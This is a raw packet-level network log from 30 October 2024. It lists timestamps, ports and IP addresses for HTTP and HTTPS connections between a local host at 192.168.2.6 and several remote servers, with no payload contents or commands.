Oct 30, 2024 11:45:42.384201050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.384355068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384371042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384387016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384403944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384414911 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.384423018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384438992 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384445906 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.384457111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384465933 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.384474039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384501934 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.384510994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384519100 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.384552002 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384568930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384583950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384599924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384615898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384622097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.384635925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384646893 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.384654999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384669065 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.384669065 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.384694099 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.384725094 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.384963989 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.384975910 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.385004044 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.385005951 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.385011911 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.385015011 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.385046005 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.385046959 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.385056019 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.385063887 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.385062933 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.385070086 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.385076046 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.385077953 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.385077953 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.385098934 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.385128021 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.385128975 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.385155916 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.385188103 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.388422012 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.388438940 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.388446093 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.388464928 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.388499022 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.388509035 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.388519049 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.388529062 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.388550043 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.388566017 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.448342085 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.448357105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.448441029 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.465912104 CET	443	49961	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.481025934 CET	49961	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.481054068 CET	443	49961	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.481992006 CET	49961	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.481997967 CET	443	49961	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.485622883 CET	443	49952	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:42.485676050 CET	443	49952	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:42.485907078 CET	49952	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:42.485932112 CET	443	49952	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:42.486563921 CET	49952	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:42.486639977 CET	443	49952	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:42.486700058 CET	49952	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:42.490678072 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.490722895 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.490770102 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.490772963 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.490783930 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.490814924 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.511841059 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.511867046 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.511960983 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.511970997 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.512027979 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.527554035 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.527622938 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.532949924 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.532987118 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.533045053 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.533052921 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.533097029 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.533153057 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.538069963 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.538157940 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.543214083 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.543230057 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.543283939 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.543317080 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.543365955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.543382883 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.543425083 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.548635960 CET	443	49959	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:42.548655033 CET	443	49956	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.548712015 CET	443	49959	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:42.548719883 CET	443	49956	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.548861980 CET	49959	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:42.548943996 CET	49956	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.549520016 CET	443	49958	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:42.549812078 CET	49959	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:42.549829006 CET	443	49959	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:42.550477982 CET	49958	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:42.550483942 CET	443	49958	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:42.551141024 CET	49956	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.551168919 CET	443	49956	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.551182032 CET	49956	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.551188946 CET	443	49956	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.551587105 CET	443	49958	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:42.551649094 CET	49958	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:42.553236008 CET	49958	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:42.553304911 CET	443	49958	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:42.553498983 CET	49958	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:42.555407047 CET	49972	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:42.555433035 CET	443	49972	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:42.555526018 CET	49972	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:42.555900097 CET	49972	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:42.555912971 CET	443	49972	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:42.559348106 CET	49973	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.559370041 CET	443	49973	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.559463978 CET	49973	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.559941053 CET	49973	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.559952021 CET	443	49973	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.564374924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.564390898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.564445019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.565077066 CET	443	49960	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.567501068 CET	49960	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.567511082 CET	443	49960	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.568044901 CET	49960	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.568052053 CET	443	49960	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.569636106 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.569655895 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.569672108 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.569689989 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.569708109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.569724083 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.569732904 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.569771051 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.574923038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.574940920 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.574985027 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.574996948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.575006962 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.575015068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.575032949 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.575165987 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.580177069 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.580194950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.580248117 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.580256939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.580275059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.580287933 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.580315113 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.580327988 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.585484982 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.585520029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.585555077 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.585573912 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.599329948 CET	443	49958	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:42.601460934 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.601483107 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.601541042 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.601566076 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.601603985 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.601707935 CET	49958	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:42.601716995 CET	443	49958	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:42.606762886 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.606794119 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.606839895 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.606856108 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.606887102 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.606895924 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.628581047 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.628609896 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.628643036 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.628650904 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.628689051 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.628707886 CET	443	49957	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:42.628804922 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.628880978 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.628921032 CET	49957	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.628930092 CET	443	49957	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:42.628957033 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.628989935 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.629021883 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629030943 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.629055977 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629075050 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629110098 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.629128933 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.629165888 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629173994 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.629195929 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629215002 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.629216909 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629261017 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.629262924 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629282951 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.629316092 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629323006 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.629333973 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629343033 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.629376888 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629384041 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.629400969 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629431963 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629445076 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.629532099 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629611015 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.629669905 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.629676104 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.630038977 CET	443	49957	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:42.630114079 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.630124092 CET	49957	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.630160093 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.631768942 CET	443	49964	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:42.631969929 CET	49957	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.632049084 CET	443	49957	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:42.632164001 CET	49964	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:42.632174015 CET	443	49964	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:42.632249117 CET	443	49965	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:42.632308006 CET	49957	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.632317066 CET	443	49957	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:42.632365942 CET	49957	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.632384062 CET	443	49957	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:42.632493019 CET	49965	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:42.632498980 CET	443	49965	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:42.633186102 CET	443	49964	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:42.633249044 CET	49964	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:42.633486986 CET	443	49965	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:42.633554935 CET	49965	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:42.634299994 CET	49964	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:42.634371042 CET	443	49964	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:42.634393930 CET	49965	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:42.634444952 CET	443	49965	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:42.635035992 CET	443	49962	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.635617018 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.635622025 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.635930061 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.635947943 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.636004925 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.636012077 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.636044979 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.636064053 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.636965036 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.636970043 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.639035940 CET	49962	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.639050961 CET	443	49962	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.639899015 CET	49962	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.639904022 CET	443	49962	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.648900032 CET	49958	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:42.674268007 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.674300909 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.674345970 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.674361944 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.674396992 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.674439907 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.674772978 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:42.674792051 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:42.676760912 CET	49964	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:42.676769972 CET	443	49964	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:42.676774979 CET	49957	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.676774979 CET	49965	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:42.676785946 CET	443	49965	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:42.689397097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.693754911 CET	443	49961	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.693818092 CET	443	49961	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.694093943 CET	49961	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.694124937 CET	49961	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.694124937 CET	49961	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.694142103 CET	443	49961	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.694164038 CET	443	49961	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.694715977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.696640968 CET	49974	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.696662903 CET	443	49974	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.696842909 CET	49974	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.696991920 CET	49974	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.697005033 CET	443	49974	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.722886086 CET	49964	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:42.722989082 CET	49965	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:42.768302917 CET	443	49963	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.768749952 CET	49963	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.768767118 CET	443	49963	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.769695997 CET	49963	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.769700050 CET	443	49963	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.772650957 CET	443	49960	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.772752047 CET	443	49960	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.772856951 CET	443	49960	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.772926092 CET	49960	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.773020029 CET	49960	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.773020029 CET	49960	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.773035049 CET	443	49960	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.773044109 CET	443	49960	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.774168015 CET	443	49962	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.774256945 CET	443	49962	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.774353981 CET	443	49962	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.774430990 CET	49962	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.774521112 CET	49962	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.774521112 CET	49962	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.774525881 CET	443	49962	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.774532080 CET	443	49962	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.775113106 CET	443	49966	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:42.775338888 CET	49966	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:42.775352955 CET	443	49966	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:42.776235104 CET	49975	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.776254892 CET	443	49975	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.776335001 CET	49975	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.776386976 CET	443	49966	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:42.776422024 CET	443	49958	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:42.776449919 CET	49966	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:42.776633024 CET	49976	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.776668072 CET	443	49976	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.776763916 CET	49975	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.776778936 CET	443	49975	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.776835918 CET	49976	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.776896954 CET	443	49967	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:42.776964903 CET	49976	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.776978970 CET	443	49976	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.777122021 CET	49967	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:42.777129889 CET	443	49967	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:42.777554989 CET	49966	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:42.777635098 CET	443	49966	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:42.778669119 CET	443	49967	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:42.778732061 CET	49967	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:42.778985977 CET	49967	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:42.779088020 CET	443	49967	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:42.798260927 CET	443	49958	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:42.798330069 CET	49958	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:42.799462080 CET	49958	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:42.799475908 CET	443	49958	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:42.803261995 CET	443	49957	20.189.173.28	192.168.2.6
